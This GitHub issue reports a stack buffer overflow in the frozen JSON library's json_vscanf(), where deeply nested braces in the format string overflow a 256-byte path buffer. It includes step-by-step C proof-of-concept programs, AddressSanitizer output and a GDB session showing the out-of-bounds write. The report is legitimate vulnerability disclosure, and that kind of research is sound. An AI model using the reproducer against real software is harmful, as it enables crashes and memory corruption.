Skip to content

Stack buffer overflow in json_vscanf() when nesting depth in fmt exceeds JSON_MAX_PATH_LEN #81

Description

@constantinctrlaltdelete

Hello,

During a personal research project focused on vulnerability analysis of open-source C libraries, I identified a stack-based buffer overflow in the frozen JSON library .

File: frozen.c
Function: json_vscanf()
Function Starts at Line:1069

#define JSON_MAX_PATH_LEN 256 <- frozen.h

char path[JSON_MAX_PATH_LEN] = "", fmtbuf[20];
...
if (fmt[i] == '{') {
strcat(path, ".");
i++;
}

ASAN:

Step 1:

cat > step1.c << 'EOF'
#include "frozen.h"
#include <stdio.h>
#include <string.h>

int main(void) {
// Build a format string with exactly 10 '{' characters
// so you can see what json_vscanf does with small input first
const char *fmt = "{{{{{{{{{{%d}}}}}}}}}}";
int val = 0;
int result = json_scanf("1", 1, fmt, &val);
printf("result=%d val=%d\n", result, val);
return 0;
}
EOF
clang -g -O0 -fsanitize=address -o step1 step1.c frozen.c
./step1
kali@ubuntu:~/vuln-research/targets/frozen$ ./step1
result=0 val=0

Step 2:
cat > step2.c << 'EOF'
#include "frozen.h"
#include <stdio.h>
#include <string.h>

int main(void) {
char fmt[600] = "";
// 255 opening braces = fills path[0..254], path[255] = '\0' — just fits
for (int i = 0; i < 255; i++) strcat(fmt, "{");
strcat(fmt, "%d");
for (int i = 0; i < 255; i++) strcat(fmt, "}");

printf("Format string length: %zu\n", strlen(fmt));
printf("Number of braces: 255 — should be safe\n");

int val = 0;
json_scanf("1", 1, fmt, &val);
printf("Returned normally — no overflow at 255\n");
return 0;

}
EOF
clang -g -O0 -fsanitize=address -o step2 step2.c frozen.c
./step2
Format string length: 512
Number of braces: 255 — should be safe
Returned normally — no overflow at 255

Step 3:
cat > step3.c << 'EOF'
#include "frozen.h"
#include <stdio.h>
#include <string.h>

int main(void) {
char fmt[600] = "";
// 256 opening braces = one past the end — THIS is the overflow
for (int i = 0; i < 256; i++) strcat(fmt, "{");
strcat(fmt, "%d");
for (int i = 0; i < 256; i++) strcat(fmt, "}");

printf("Format string length: %zu\n", strlen(fmt));
printf("Number of braces: 256 — overflow on the last one\n");

int val = 0;
json_scanf("1", 1, fmt, &val);
printf("If you see this, ASAN didn't catch it\n");
return 0;

}
EOF
clang -g -O0 -fsanitize=address -o step3 step3.c frozen.c
./step3

Format string length: 514
Number of braces: 256 — overflow on the last one

==3766671==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffeb80b6480 at pc 0x00000047f13b bp 0x7ffeb80b6350 sp 0x7ffeb80b5af8
WRITE of size 2 at 0x7ffeb80b6480 thread T0
#0 0x47f13a in strcat (/home/kali/vuln-research/targets/frozen/step3+0x47f13a)
#1 0x4ca8d7 in json_vscanf /home/kali/vuln-research/targets/frozen/frozen.c:1077:7
#2 0x4cda0f in json_scanf /home/kali/vuln-research/targets/frozen/frozen.c:1129:12
#3 0x4c3401 in main /home/kali/vuln-research/targets/frozen/step3.c:16:5
#4 0x7ff33a004082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x41b34d in _start (/home/kali/vuln-research/targets/frozen/step3+0x41b34d)

Address 0x7ffeb80b6480 is located in stack of thread T0 at offset 288 in frame
#0 0x4ca3cf in json_vscanf /home/kali/vuln-research/targets/frozen/frozen.c:1069

This frame has 3 object(s):
[32, 288) 'path' (line 1070) <== Memory access at offset 288 overflows this variable
[352, 372) 'fmtbuf' (line 1070)
[416, 464) 'info' (line 1073)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions are supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/kali/vuln-research/targets/frozen/step3+0x47f13a) in strcat
Shadow bytes around the buggy address:
0x10005700ec40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ec50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ec60: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
0x10005700ec70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10005700ec90:[f2]f2 f2 f2 f2 f2 f2 f2 00 00 04 f2 f2 f2 f2 f2
0x10005700eca0: 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 00 00 00 00
0x10005700ecb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ecc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ecd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005700ece0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3766671==ABORTING
Aborted

GDB:
clang -g3 -O0 -fno-stack-protector -fno-omit-frame-pointer -o frozen-dbg step3.c frozen.c
./frozen-dbg
break frozen.c:1077 if i == 253
run

(gdb) x/4xb path+256

Expected: 0xc0 0xdc 0xff 0xff ← write this down

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # still 0xc0 — not yet

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # still 0xc0 — not yet

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # 0x00 — OVERFLOW

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # still 0xc0 — not yet

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # still 0xc0 — not yet

(gdb) next
(gdb) next
(gdb) x/4xb path+256 # 0x00 — OVERFLOW

gef➤ x/6xb path+252
0x7fffffffdb2c: 0x2e 0x2e 0x2e 0x2e 0x00 0xdc
gef➤ x/6xb path+256
0x7fffffffdb30: 0x00 0xdc 0xff 0xff 0xff 0x7f
gef➤
0x7fffffffdb36: 0x00 0x00 0x30 0xdd 0xff 0xff

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions